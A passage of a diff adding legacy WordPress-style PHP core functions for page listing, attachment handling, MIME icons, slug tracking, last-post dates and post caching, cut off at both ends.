$children[ $parent_id ][] = $p; + } + + $result = array(); + _page_traverse_name( $page_id, $children, $result ); + + return $result; +} + +/** + * function to traverse and return all the nested children post names of a root page. + * $children contains parent-chilren relations + * + */ +function _page_traverse_name( $page_id, &$children, &$result ){ + + if ( isset( $children[ $page_id ] ) ){ + + foreach( (array)$children[ $page_id ] as $child ) { + + $result[ $child->ID ] = $child->post_name; + _page_traverse_name( $child->ID, $children, $result ); + } + } +} + +/** + * Builds URI for a page. + * + * Sub pages will be in the "directory" under the parent page post name. + * + * @since 1.5.0 + * + * @param int $page_id Page ID. + * @return string Page URI. + */ +function get_page_uri($page_id) { + $page = get_page($page_id); + $uri = $page->post_name; + + // A page cannot be it's own parent. + if ( $page->post_parent == $page->ID ) + return $uri; + + while ($page->post_parent != 0) { + $page = get_page($page->post_parent); + $uri = $page->post_name . "/" . $uri; + } + + return $uri; +} + +/** + * Retrieve a list of pages. + * + * The defaults that can be overridden are the following: 'child_of', + * 'sort_order', 'sort_column', 'post_title', 'hierarchical', 'exclude', + * 'include', 'meta_key', 'meta_value','authors', 'number', and 'offset'. + * + * @since 1.5.0 + * @uses $wpdb + * + * @param mixed $args Optional. Array or string of options that overrides defaults. + * @return array List of pages matching defaults or $args + */ +function &get_pages($args = '') { + global $wpdb; + + $defaults = array( + 'child_of' => 0, 'sort_order' => 'ASC', + 'sort_column' => 'post_title', 'hierarchical' => 1, + 'exclude' => '', 'include' => '', + 'meta_key' => '', 'meta_value' => '', + 'authors' => '', 'parent' => -1, 'exclude_tree' => '', + 'number' => '', 'offset' => 0 + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + $number = (int) $number; + $offset = (int) $offset; + + $cache = array(); + $key = md5( serialize( compact(array_keys($defaults)) ) ); + if ( $cache = wp_cache_get( 'get_pages', 'posts' ) ) { + if ( is_array($cache) && isset( $cache[ $key ] ) ) { + $pages = apply_filters('get_pages', $cache[ $key ], $r ); + return $pages; + } + } + + if ( !is_array($cache) ) + $cache = array(); + + $inclusions = ''; + if ( !empty($include) ) { + $child_of = 0; //ignore child_of, parent, exclude, meta_key, and meta_value params if using include + $parent = -1; + $exclude = ''; + $meta_key = ''; + $meta_value = ''; + $hierarchical = false; + $incpages = preg_split('/[\s,]+/',$include); + if ( count($incpages) ) { + foreach ( $incpages as $incpage ) { + if (empty($inclusions)) + $inclusions = $wpdb->prepare(' AND ( ID = %d ', $incpage); + else + $inclusions .= $wpdb->prepare(' OR ID = %d ', $incpage); + } + } + } + if (!empty($inclusions)) + $inclusions .= ')'; + + $exclusions = ''; + if ( !empty($exclude) ) { + $expages = preg_split('/[\s,]+/',$exclude); + if ( count($expages) ) { + foreach ( $expages as $expage ) { + if (empty($exclusions)) + $exclusions = $wpdb->prepare(' AND ( ID <> %d ', $expage); + else + $exclusions .= $wpdb->prepare(' AND ID <> %d ', $expage); + } + } + } + if (!empty($exclusions)) + $exclusions .= ')'; + + $author_query = ''; + if (!empty($authors)) { + $post_authors = preg_split('/[\s,]+/',$authors); + + if ( count($post_authors) ) { + foreach ( $post_authors as $post_author ) { + //Do we have an author id or an author login? + if ( 0 == intval($post_author) ) { + $post_author = get_userdatabylogin($post_author); + if ( empty($post_author) ) + continue; + if ( empty($post_author->ID) ) + continue; + $post_author = $post_author->ID; + } + + if ( '' == $author_query ) + $author_query = $wpdb->prepare(' post_author = %d ', $post_author); + else + $author_query .= $wpdb->prepare(' OR post_author = %d ', $post_author); + } + if ( '' != $author_query ) + $author_query = " AND ($author_query)"; + } + } + + $join = ''; + $where = "$exclusions $inclusions "; + if ( ! empty( $meta_key ) || ! empty( $meta_value ) ) { + $join = " LEFT JOIN $wpdb->postmeta ON ( $wpdb->posts.ID = $wpdb->postmeta.post_id )"; + + // meta_key and meta_value might be slashed + $meta_key = stripslashes($meta_key); + $meta_value = stripslashes($meta_value); + if ( ! empty( $meta_key ) ) + $where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_key = %s", $meta_key); + if ( ! empty( $meta_value ) ) + $where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_value = %s", $meta_value); + + } + + if ( $parent >= 0 ) + $where .= $wpdb->prepare(' AND post_parent = %d ', $parent); + + $query = "SELECT * FROM $wpdb->posts $join WHERE (post_type = 'page' AND post_status = 'publish') $where "; + $query .= $author_query; + $query .= " ORDER BY " . $sort_column . " " . $sort_order ; + + if ( !empty($number) ) + $query .= ' LIMIT ' . $offset . ',' . $number; + + $pages = $wpdb->get_results($query); + + if ( empty($pages) ) { + $pages = apply_filters('get_pages', array(), $r); + return $pages; + } + + // Sanitize before caching so it'll only get done once + $num_pages = count($pages); + for ($i = 0; $i < $num_pages; $i++) { + $pages[$i] = sanitize_post($pages[$i], 'raw'); + } + + // Update cache. + update_page_cache($pages); + + if ( $child_of || $hierarchical ) + $pages = & get_page_children($child_of, $pages); + + if ( !empty($exclude_tree) ) { + $exclude = (int) $exclude_tree; + $children = get_page_children($exclude, $pages); + $excludes = array(); + foreach ( $children as $child ) + $excludes[] = $child->ID; + $excludes[] = $exclude; + $num_pages = count($pages); + for ( $i = 0; $i < $num_pages; $i++ ) { + if ( in_array($pages[$i]->ID, $excludes) ) + unset($pages[$i]); + } + } + + $cache[ $key ] = $pages; + wp_cache_set( 'get_pages', $cache, 'posts' ); + + $pages = apply_filters('get_pages', $pages, $r); + + return $pages; +} + +// +// Attachment functions +// + +/** + * Check if the attachment URI is local one and is really an attachment. + * + * @since 2.0.0 + * + * @param string $url URL to check + * @return bool True on success, false on failure. + */ +function is_local_attachment($url) { + if (strpos($url, get_bloginfo('url')) === false) + return false; + if (strpos($url, get_bloginfo('url') . '/?attachment_id=') !== false) + return true; + if ( $id = url_to_postid($url) ) { + $post = & get_post($id); + if ( 'attachment' == $post->post_type ) + return true; + } + return false; +} + +/** + * Insert an attachment. + * + * If you set the 'ID' in the $object parameter, it will mean that you are + * updating and attempt to update the attachment. You can also set the + * attachment name or title by setting the key 'post_name' or 'post_title'. + * + * You can set the dates for the attachment manually by setting the 'post_date' + * and 'post_date_gmt' keys' values. + * + * By default, the comments will use the default settings for whether the + * comments are allowed. You can close them manually or keep them open by + * setting the value for the 'comment_status' key. + * + * The $object parameter can have the following: + * 'post_status' - Default is 'draft'. Can not be overridden, set the same as parent post. + * 'post_type' - Default is 'post', will be set to attachment. Can not override. + * 'post_author' - Default is current user ID. The ID of the user, who added the attachment. + * 'ping_status' - Default is the value in default ping status option. Whether the attachment + * can accept pings. + * 'post_parent' - Default is 0. Can use $parent parameter or set this for the post it belongs + * to, if any. + * 'menu_order' - Default is 0. The order it is displayed. + * 'to_ping' - Whether to ping. + * 'pinged' - Default is empty string. + * 'post_password' - Default is empty string. The password to access the attachment. + * 'guid' - Global Unique ID for referencing the attachment. + * 'post_content_filtered' - Attachment post content filtered. + * 'post_excerpt' - Attachment excerpt. + * + * @since 2.0.0 + * @uses $wpdb + * @uses $user_ID + * @uses do_action() Calls 'edit_attachment' on $post_ID if this is an update. + * @uses do_action() Calls 'add_attachment' on $post_ID if this is not an update. + * + * @param string|array $object Arguments to override defaults. + * @param string $file Optional filename. + * @param int $post_parent Parent post ID. + * @return int Attachment ID. + */ +function wp_insert_attachment($object, $file = false, $parent = 0) { + global $wpdb, $user_ID; + + $defaults = array('post_status' => 'draft', 'post_type' => 'post', 'post_author' => $user_ID, + 'ping_status' => get_option('default_ping_status'), 'post_parent' => 0, + 'menu_order' => 0, 'to_ping' => '', 'pinged' => '', 'post_password' => '', + 'guid' => '', 'post_content_filtered' => '', 'post_excerpt' => '', 'import_id' => 0); + + $object = wp_parse_args($object, $defaults); + if ( !empty($parent) ) + $object['post_parent'] = $parent; + + $object = sanitize_post($object, 'db'); + + // export array as variables + extract($object, EXTR_SKIP); + + // Make sure we set a valid category + if ( !isset($post_category) || 0 == count($post_category) || !is_array($post_category)) { + $post_category = array(get_option('default_category')); + } + + if ( empty($post_author) ) + $post_author = $user_ID; + + $post_type = 'attachment'; + $post_status = 'inherit'; + + // Are we updating or creating? + if ( !empty($ID) ) { + $update = true; + $post_ID = (int) $ID; + } else { + $update = false; + $post_ID = 0; + } + + // Create a valid post name. + if ( empty($post_name) ) + $post_name = sanitize_title($post_title); + else + $post_name = sanitize_title($post_name); + + // expected_slashed ($post_name) + $post_name = wp_unique_post_slug($post_name, $post_ID, $post_status, $post_type, $post_parent); + + if ( empty($post_date) ) + $post_date = current_time('mysql'); + if ( empty($post_date_gmt) ) + $post_date_gmt = current_time('mysql', 1); + + if ( empty($post_modified) ) + $post_modified = $post_date; + if ( empty($post_modified_gmt) ) + $post_modified_gmt = $post_date_gmt; + + if ( empty($comment_status) ) { + if ( $update ) + $comment_status = 'closed'; + else + $comment_status = get_option('default_comment_status'); + } + if ( empty($ping_status) ) + $ping_status = get_option('default_ping_status'); + + if ( isset($to_ping) ) + $to_ping = preg_replace('|\s+|', "\n", $to_ping); + else + $to_ping = ''; + + if ( isset($post_parent) ) + $post_parent = (int) $post_parent; + else + $post_parent = 0; + + if ( isset($menu_order) ) + $menu_order = (int) $menu_order; + else + $menu_order = 0; + + if ( !isset($post_password) ) + $post_password = ''; + + if ( ! isset($pinged) ) + $pinged = ''; + + // expected_slashed (everything!) + $data = compact( array( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_content_filtered', 'post_title', 'post_excerpt', 'post_status', 'post_type', 'comment_status', 'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_parent', 'menu_order', 'post_mime_type', 'guid' ) ); + $data = stripslashes_deep( $data ); + + if ( $update ) { + $wpdb->update( $wpdb->posts, $data, array( 'ID' => $post_ID ) ); + } else { + // If there is a suggested ID, use it if not already present + if ( !empty($import_id) ) { + $import_id = (int) $import_id; + if ( ! $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE ID = %d", $import_id) ) ) { + $data['ID'] = $import_id; + } + } + + $wpdb->insert( $wpdb->posts, $data ); + $post_ID = (int) $wpdb->insert_id; + } + + if ( empty($post_name) ) { + $post_name = sanitize_title($post_title, $post_ID); + $wpdb->update( $wpdb->posts, compact("post_name"), array( 'ID' => $post_ID ) ); + } + + wp_set_post_categories($post_ID, $post_category); + + if ( $file ) + update_attached_file( $post_ID, $file ); + + clean_post_cache($post_ID); + + if ( isset($post_parent) && $post_parent < 0 ) + add_post_meta($post_ID, '_wp_attachment_temp_parent', $post_parent, true); + + if ( $update) { + do_action('edit_attachment', $post_ID); + } else { + do_action('add_attachment', $post_ID); + } + + return $post_ID; +} + +/** + * Delete an attachment. + * + * Will remove the file also, when the attachment is removed. Removes all post + * meta fields, taxonomy, comments, etc associated with the attachment (except + * the main post). + * + * @since 2.0.0 + * @uses $wpdb + * @uses do_action() Calls 'delete_attachment' hook on Attachment ID. + * + * @param int $postid Attachment ID. + * @param bool $force_delete Whether to bypass trash and force deletion + * @return mixed False on failure. Post data on success. + */ +function wp_delete_attachment( $post_id, $force_delete = false ) { + global $wpdb; + + if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) ) + return $post; + + if ( 'attachment' != $post->post_type ) + return false; + + if ( !$force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' != $post->post_status ) + return wp_trash_post( $post_id ); + + delete_post_meta($post_id, '_wp_trash_meta_status'); + delete_post_meta($post_id, '_wp_trash_meta_time'); + + $meta = wp_get_attachment_metadata( $post_id ); + $backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true ); + $file = get_attached_file( $post_id ); + + do_action('delete_attachment', $post_id); + + wp_delete_object_term_relationships($post_id, array('category', 'post_tag')); + wp_delete_object_term_relationships($post_id, get_object_taxonomies($post->post_type)); + + $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE meta_key = '_thumbnail_id' AND meta_value = %d", $post_id )); + + $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id )); + if ( ! empty($comment_ids) ) { + do_action( 'delete_comment', $comment_ids ); + $in_comment_ids = "'" . implode("', '", $comment_ids) . "'"; + $wpdb->query( "DELETE FROM $wpdb->comments WHERE comment_ID IN($in_comment_ids)" ); + do_action( 'deleted_comment', $comment_ids ); + } + + $post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $post_id )); + if ( !empty($post_meta_ids) ) { + do_action( 'delete_postmeta', $post_meta_ids ); + $in_post_meta_ids = "'" . implode("', '", $post_meta_ids) . "'"; + $wpdb->query( "DELETE FROM $wpdb->postmeta WHERE meta_id IN($in_post_meta_ids)" ); + do_action( 'deleted_postmeta', $post_meta_ids ); + } + + do_action( 'delete_post', $post_id ); + $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->posts WHERE ID = %d", $post_id )); + do_action( 'deleted_post', $post_id ); + + $uploadpath = wp_upload_dir(); + + if ( ! empty($meta['thumb']) ) { + // Don't delete the thumb if another attachment uses it + if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $meta['thumb'] . '%', $post_id)) ) { + $thumbfile = str_replace(basename($file), $meta['thumb'], $file); + $thumbfile = apply_filters('wp_delete_file', $thumbfile); + @ unlink( path_join($uploadpath['basedir'], $thumbfile) ); + } + } + + // remove intermediate and backup images if there are any + $sizes = apply_filters('intermediate_image_sizes', array('thumbnail', 'medium', 'large')); + foreach ( $sizes as $size ) { + if ( $intermediate = image_get_intermediate_size($post_id, $size) ) { + $intermediate_file = apply_filters('wp_delete_file', $intermediate['path']); + @ unlink( path_join($uploadpath['basedir'], $intermediate_file) ); + } + } + + if ( is_array($backup_sizes) ) { + foreach ( $backup_sizes as $size ) { + $del_file = path_join( dirname($meta['file']), $size['file'] ); + $del_file = apply_filters('wp_delete_file', $del_file); + @ unlink( path_join($uploadpath['basedir'], $del_file) ); + } + } + + $file = apply_filters('wp_delete_file', $file); + + if ( ! empty($file) ) + @ unlink($file); + + clean_post_cache($post_id); + + return $post; +} + +/** + * Retrieve attachment meta field for attachment ID. + * + * @since 2.1.0 + * + * @param int $post_id Attachment ID + * @param bool $unfiltered Optional, default is false. If true, filters are not run. + * @return string|bool Attachment meta field. False on failure. + */ +function wp_get_attachment_metadata( $post_id, $unfiltered = false ) { + $post_id = (int) $post_id; + if ( !$post =& get_post( $post_id ) ) + return false; + + $data = get_post_meta( $post->ID, '_wp_attachment_metadata', true ); + + if ( $unfiltered ) + return $data; + + return apply_filters( 'wp_get_attachment_metadata', $data, $post->ID ); +} + +/** + * Update metadata for an attachment. + * + * @since 2.1.0 + * + * @param int $post_id Attachment ID. + * @param array $data Attachment data. + * @return int + */ +function wp_update_attachment_metadata( $post_id, $data ) { + $post_id = (int) $post_id; + if ( !$post =& get_post( $post_id ) ) + return false; + + $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ); + + return update_post_meta( $post->ID, '_wp_attachment_metadata', $data); +} + +/** + * Retrieve the URL for an attachment. + * + * @since 2.1.0 + * + * @param int $post_id Attachment ID. + * @return string + */ +function wp_get_attachment_url( $post_id = 0 ) { + $post_id = (int) $post_id; + if ( !$post =& get_post( $post_id ) ) + return false; + + $url = ''; + if ( $file = get_post_meta( $post->ID, '_wp_attached_file', true) ) { //Get attached file + if ( ($uploads = wp_upload_dir()) && false === $uploads['error'] ) { //Get upload directory + if ( 0 === strpos($file, $uploads['basedir']) ) //Check that the upload base exists in the file location + $url = str_replace($uploads['basedir'], $uploads['baseurl'], $file); //replace file location with url location + elseif ( false !== strpos($file, 'wp-content/uploads') ) + $url = $uploads['baseurl'] . substr( $file, strpos($file, 'wp-content/uploads') + 18 ); + else + $url = $uploads['baseurl'] . "/$file"; //Its a newly uploaded file, therefor $file is relative to the basedir. + } + } + + if ( empty($url) ) //If any of the above options failed, Fallback on the GUID as used pre-2.7, not recomended to rely upon this. + $url = get_the_guid( $post->ID ); + + if ( 'attachment' != $post->post_type || empty($url) ) + return false; + + return apply_filters( 'wp_get_attachment_url', $url, $post->ID ); +} + +/** + * Retrieve thumbnail for an attachment. + * + * @since 2.1.0 + * + * @param int $post_id Attachment ID. + * @return mixed False on failure. Thumbnail file path on success. + */ +function wp_get_attachment_thumb_file( $post_id = 0 ) { + $post_id = (int) $post_id; + if ( !$post =& get_post( $post_id ) ) + return false; + if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) ) + return false; + + $file = get_attached_file( $post->ID ); + + if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) + return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID ); + return false; +} + +/** + * Retrieve URL for an attachment thumbnail. + * + * @since 2.1.0 + * + * @param int $post_id Attachment ID + * @return string|bool False on failure. Thumbnail URL on success. + */ +function wp_get_attachment_thumb_url( $post_id = 0 ) { + $post_id = (int) $post_id; + if ( !$post =& get_post( $post_id ) ) + return false; + if ( !$url = wp_get_attachment_url( $post->ID ) ) + return false; + + $sized = image_downsize( $post_id, 'thumbnail' ); + if ( $sized ) + return $sized[0]; + + if ( !$thumb = wp_get_attachment_thumb_file( $post->ID ) ) + return false; + + $url = str_replace(basename($url), basename($thumb), $url); + + return apply_filters( 'wp_get_attachment_thumb_url', $url, $post->ID ); +} + +/** + * Check if the attachment is an image. + * + * @since 2.1.0 + * + * @param int $post_id Attachment ID + * @return bool + */ +function wp_attachment_is_image( $post_id = 0 ) { + $post_id = (int) $post_id; + if ( !$post =& get_post( $post_id ) ) + return false; + + if ( !$file = get_attached_file( $post->ID ) ) + return false; + + $ext = preg_match('/\.([^.]+)$/', $file, $matches) ? strtolower($matches[1]) : false; + + $image_exts = array('jpg', 'jpeg', 'gif', 'png'); + + if ( 'image/' == substr($post->post_mime_type, 0, 6) || $ext && 'import' == $post->post_mime_type && in_array($ext, $image_exts) ) + return true; + return false; +} + +/** + * Retrieve the icon for a MIME type. + * + * @since 2.1.0 + * + * @param string $mime MIME type + * @return string|bool + */ +function wp_mime_type_icon( $mime = 0 ) { + if ( !is_numeric($mime) ) + $icon = wp_cache_get("mime_type_icon_$mime"); + if ( empty($icon) ) { + $post_id = 0; + $post_mimes = array(); + if ( is_numeric($mime) ) { + $mime = (int) $mime; + if ( $post =& get_post( $mime ) ) { + $post_id = (int) $post->ID; + $ext = preg_replace('/^.+?\.([^.]+)$/', '$1', $post->guid); + if ( !empty($ext) ) { + $post_mimes[] = $ext; + if ( $ext_type = wp_ext2type( $ext ) ) + $post_mimes[] = $ext_type; + } + $mime = $post->post_mime_type; + } else { + $mime = 0; + } + } else { + $post_mimes[] = $mime; + } + + $icon_files = wp_cache_get('icon_files'); + + if ( !is_array($icon_files) ) { + $icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/crystal' ); + $icon_dir_uri = apply_filters( 'icon_dir_uri', includes_url('images/crystal') ); + $dirs = apply_filters( 'icon_dirs', array($icon_dir => $icon_dir_uri) ); + $icon_files = array(); + while ( $dirs ) { + $dir = array_shift($keys = array_keys($dirs)); + $uri = array_shift($dirs); + if ( $dh = opendir($dir) ) { + while ( false !== $file = readdir($dh) ) { + $file = basename($file); + if ( substr($file, 0, 1) == '.' ) + continue; + if ( !in_array(strtolower(substr($file, -4)), array('.png', '.gif', '.jpg') ) ) { + if ( is_dir("$dir/$file") ) + $dirs["$dir/$file"] = "$uri/$file"; + continue; + } + $icon_files["$dir/$file"] = "$uri/$file"; + } + closedir($dh); + } + } + wp_cache_set('icon_files', $icon_files, 600); + } + + // Icon basename - extension = MIME wildcard + foreach ( $icon_files as $file => $uri ) + $types[ preg_replace('/^([^.]*).*$/', '$1', basename($file)) ] =& $icon_files[$file]; + + if ( ! empty($mime) ) { + $post_mimes[] = substr($mime, 0, strpos($mime, '/')); + $post_mimes[] = substr($mime, strpos($mime, '/') + 1); + $post_mimes[] = str_replace('/', '_', $mime); + } + + $matches = wp_match_mime_types(array_keys($types), $post_mimes); + $matches['default'] = array('default'); + + foreach ( $matches as $match => $wilds ) { + if ( isset($types[$wilds[0]])) { + $icon = $types[$wilds[0]]; + if ( !is_numeric($mime) ) + wp_cache_set("mime_type_icon_$mime", $icon); + break; + } + } + } + + return apply_filters( 'wp_mime_type_icon', $icon, $mime, $post_id ); // Last arg is 0 if function pass mime type. +} + +/** + * Checked for changed slugs for published posts and save old slug. + * + * The function is used along with form POST data. It checks for the wp-old-slug + * POST field. Will only be concerned with published posts and the slug actually + * changing. + * + * If the slug was changed and not already part of the old slugs then it will be + * added to the post meta field ('_wp_old_slug') for storing old slugs for that + * post. + * + * The most logically usage of this function is redirecting changed posts, so + * that those that linked to an changed post will be redirected to the new post. + * + * @since 2.1.0 + * + * @param int $post_id Post ID. + * @return int Same as $post_id + */ +function wp_check_for_changed_slugs($post_id) { + if ( !isset($_POST['wp-old-slug']) || !strlen($_POST['wp-old-slug']) ) + return $post_id; + + $post = &get_post($post_id); + + // we're only concerned with published posts + if ( $post->post_status != 'publish' || $post->post_type != 'post' ) + return $post_id; + + // only bother if the slug has changed + if ( $post->post_name == $_POST['wp-old-slug'] ) + return $post_id; + + $old_slugs = (array) get_post_meta($post_id, '_wp_old_slug'); + + // if we haven't added this old slug before, add it now + if ( !count($old_slugs) || !in_array($_POST['wp-old-slug'], $old_slugs) ) + add_post_meta($post_id, '_wp_old_slug', $_POST['wp-old-slug']); + + // if the new slug was used previously, delete it from the list + if ( in_array($post->post_name, $old_slugs) ) + delete_post_meta($post_id, '_wp_old_slug', $post->post_name); + + return $post_id; +} + +/** + * Retrieve the private post SQL based on capability. + * + * This function provides a standardized way to appropriately select on the + * post_status of posts/pages. The function will return a piece of SQL code that + * can be added to a WHERE clause; this SQL is constructed to allow all + * published posts, and all private posts to which the user has access. + * + * It also allows plugins that define their own post type to control the cap by + * using the hook 'pub_priv_sql_capability'. The plugin is expected to return + * the capability the user must have to read the private post type. + * + * @since 2.2.0 + * + * @uses $user_ID + * @uses apply_filters() Call 'pub_priv_sql_capability' filter for plugins with different post types. + * + * @param string $post_type currently only supports 'post' or 'page'. + * @return string SQL code that can be added to a where clause. + */ +function get_private_posts_cap_sql($post_type) { + global $user_ID; + $cap = ''; + + // Private posts + if ($post_type == 'post') { + $cap = 'read_private_posts'; + // Private pages + } elseif ($post_type == 'page') { + $cap = 'read_private_pages'; + // Dunno what it is, maybe plugins have their own post type? + } else { + $cap = apply_filters('pub_priv_sql_capability', $cap); + + if (empty($cap)) { + // We don't know what it is, filters don't change anything, + // so set the SQL up to return nothing. + return '1 = 0'; + } + } + + $sql = '(post_status = \'publish\''; + + if (current_user_can($cap)) { + // Does the user have the capability to view private posts? Guess so. + $sql .= ' OR post_status = \'private\''; + } elseif (is_user_logged_in()) { + // Users can view their own private posts. + $sql .= ' OR post_status = \'private\' AND post_author = \'' . $user_ID . '\''; + } + + $sql .= ')'; + + return $sql; +} + +/** + * Retrieve the date the the last post was published. + * + * The server timezone is the default and is the difference between GMT and + * server time. The 'blog' value is the date when the last post was posted. The + * 'gmt' is when the last post was posted in GMT formatted date. + * + * @since 0.71 + * + * @uses $wpdb + * @uses $blog_id + * @uses apply_filters() Calls 'get_lastpostdate' filter + * + * @global mixed $cache_lastpostdate Stores the last post date + * @global mixed $pagenow The current page being viewed + * + * @param string $timezone The location to get the time. Can be 'gmt', 'blog', or 'server'. + * @return string The date of the last post. + */ +function get_lastpostdate($timezone = 'server') { + global $cache_lastpostdate, $wpdb, $blog_id; + $add_seconds_server = date('Z'); + if ( !isset($cache_lastpostdate[$blog_id][$timezone]) ) { + switch(strtolower($timezone)) { + case 'gmt': + $lastpostdate = $wpdb->get_var("SELECT post_date_gmt FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date_gmt DESC LIMIT 1"); + break; + case 'blog': + $lastpostdate = $wpdb->get_var("SELECT post_date FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date_gmt DESC LIMIT 1"); + break; + case 'server': + $lastpostdate = $wpdb->get_var("SELECT DATE_ADD(post_date_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date_gmt DESC LIMIT 1"); + break; + } + $cache_lastpostdate[$blog_id][$timezone] = $lastpostdate; + } else { + $lastpostdate = $cache_lastpostdate[$blog_id][$timezone]; + } + return apply_filters( 'get_lastpostdate', $lastpostdate, $timezone ); +} + +/** + * Retrieve last post modified date depending on timezone. + * + * The server timezone is the default and is the difference between GMT and + * server time. The 'blog' value is just when the last post was modified. The + * 'gmt' is when the last post was modified in GMT time. + * + * @since 1.2.0 + * @uses $wpdb + * @uses $blog_id + * @uses apply_filters() Calls 'get_lastpostmodified' filter + * + * @global mixed $cache_lastpostmodified Stores the date the last post was modified + * + * @param string $timezone The location to get the time. Can be 'gmt', 'blog', or 'server'. + * @return string The date the post was last modified. + */ +function get_lastpostmodified($timezone = 'server') { + global $cache_lastpostmodified, $wpdb, $blog_id; + $add_seconds_server = date('Z'); + if ( !isset($cache_lastpostmodified[$blog_id][$timezone]) ) { + switch(strtolower($timezone)) { + case 'gmt': + $lastpostmodified = $wpdb->get_var("SELECT post_modified_gmt FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_modified_gmt DESC LIMIT 1"); + break; + case 'blog': + $lastpostmodified = $wpdb->get_var("SELECT post_modified FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_modified_gmt DESC LIMIT 1"); + break; + case 'server': + $lastpostmodified = $wpdb->get_var("SELECT DATE_ADD(post_modified_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_modified_gmt DESC LIMIT 1"); + break; + } + $lastpostdate = get_lastpostdate($timezone); + if ( $lastpostdate > $lastpostmodified ) { + $lastpostmodified = $lastpostdate; + } + $cache_lastpostmodified[$blog_id][$timezone] = $lastpostmodified; + } else { + $lastpostmodified = $cache_lastpostmodified[$blog_id][$timezone]; + } + return apply_filters( 'get_lastpostmodified', $lastpostmodified, $timezone ); +} + +/** + * Updates posts in cache. + * + * @usedby update_page_cache() Aliased by this function. + * + * @package WordPress + * @subpackage Cache + * @since 1.5.1 + * + * @param array $posts Array of post objects + */ +function update_post_cache(&$posts) { + if ( !$posts ) + return; + + foreach ( $posts as $post ) + wp_cache_add($post->ID, $post, 'posts'); +} + +/** + * Will clean the post in the cache. + * + * Cleaning means delete from the cache of the post. Will call to clean the term + * object cache associated with the post ID. + * + * clean_post_cache() will call itself recursively for each child post. + * + * This function not run if $_wp_suspend_cache_invalidation is not empty. See + * wp_suspend_cache_invalidation(). + * + * @package WordPress + * @subpackage Cache + * @since 2.0.0 + * + * @uses do_action() Calls 'clean_post_cache' on $id before adding children (if any). + * + * @param int $id The Post ID in the cache to clean + */ +function clean_post_cache($id) { + global $_wp_suspend_cache_invalidation, $wpdb; + + if ( !empty($_wp_suspend_cache_invalidation) ) + return; + + $id = (int) $id; + + wp_cache_delete($id, 'posts'); + wp_cache_delete($id, 'post_meta'); + + clean_object_term_cache($id, 'post'); + + wp_cache_delete( 'wp_get_archives', 'general' ); + + do_action('clean_post_cache', $id); + + if ( $children = $wpdb->get_col( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_parent = %d", $id) ) ) { + foreach( $children as $cid ) + clean_post_cache( $cid ); + } +} + +/** + * Alias of update_post_cache(). + * + * @see update_post_cache() Posts and pages are the same, alias is intentional + * + * @package WordPress + * @subpackage Cache + * @since 1.5.1 + * + * @param array $pages list of page objects + */ +function update_page_cache(&$pages) { + update_post_cache($pages); +} + +/** + * Will clean the page in the cache. + * + * Clean (read: delete) page from cache that matches $id. Will also clean cache + * associated with 'all_page_ids' and 'get_pages'. + * + * @package WordPress + * @subpackage Cache + * @since 2.0.0 + * + * @uses do_action() Will call the 'clean_page_cache' hook action. + * + * @param int $id Page ID to clean + */ +function clean_page_cache($id) { + clean_post_cache($id); + + wp_cache_delete( 'all_page_ids', 'posts' ); + wp_cache_delete( 'get_pages', 'posts' ); + + do_action('clean_page_cache', $id); +} + +/** + * Call major cache updating functions for list of Post objects. + * + * @package WordPress + * @subpackage Cache + * @since 1.5.0 + * + * @uses $wpdb + * @uses update_post_cache() + * @uses update_object_term_cache() + * @uses update_postmeta_cache() + * + * @param array $posts Array of Post objects + */ +function update_post_caches(&$posts) { + // No point in doing all this work if we didn't match any posts. + if ( !$posts ) + return; + + update_post_cache($posts); + + $post_ids = array(); + + for ($i = 0; $i < count($posts); $i++) + $post_ids[] = $posts[$i]->ID; + + update_object_term_cache($post_ids, 'post'); + + update_postmeta_cache($post_ids); +} + +/** + * Updates metadata cache for list of post IDs. + * + * Performs SQL query to retrieve the metadata for the post IDs and updates the + * metadata cache for the posts. Therefore, the functions, which call this + * function, do not need to perform SQL queries on their own. + * + * @package WordPress + * @subpackage Cache + * @since 2.1.0 + * + * @uses $wpdb + * + * @param array $post_ids List of post IDs. + * @return bool|array Returns false if there is nothing to update or an array of metadata. + */ +function update_postmeta_cache($post_ids) { + return update_meta_cache('post', $post_ids); +} + +// +// Hooks +// + +/** + * Hook for managing future post transitions to published. + * + * @since 2.3.0 + * @access private + * @uses $wpdb + * @uses do_action() Calls 'private_to_published' on post ID if this is a 'private_to_published' call. + * @uses wp_clear_scheduled_hook() with 'publish_future_post' and post ID. + * + * @param string $new_status New post status + * @param string 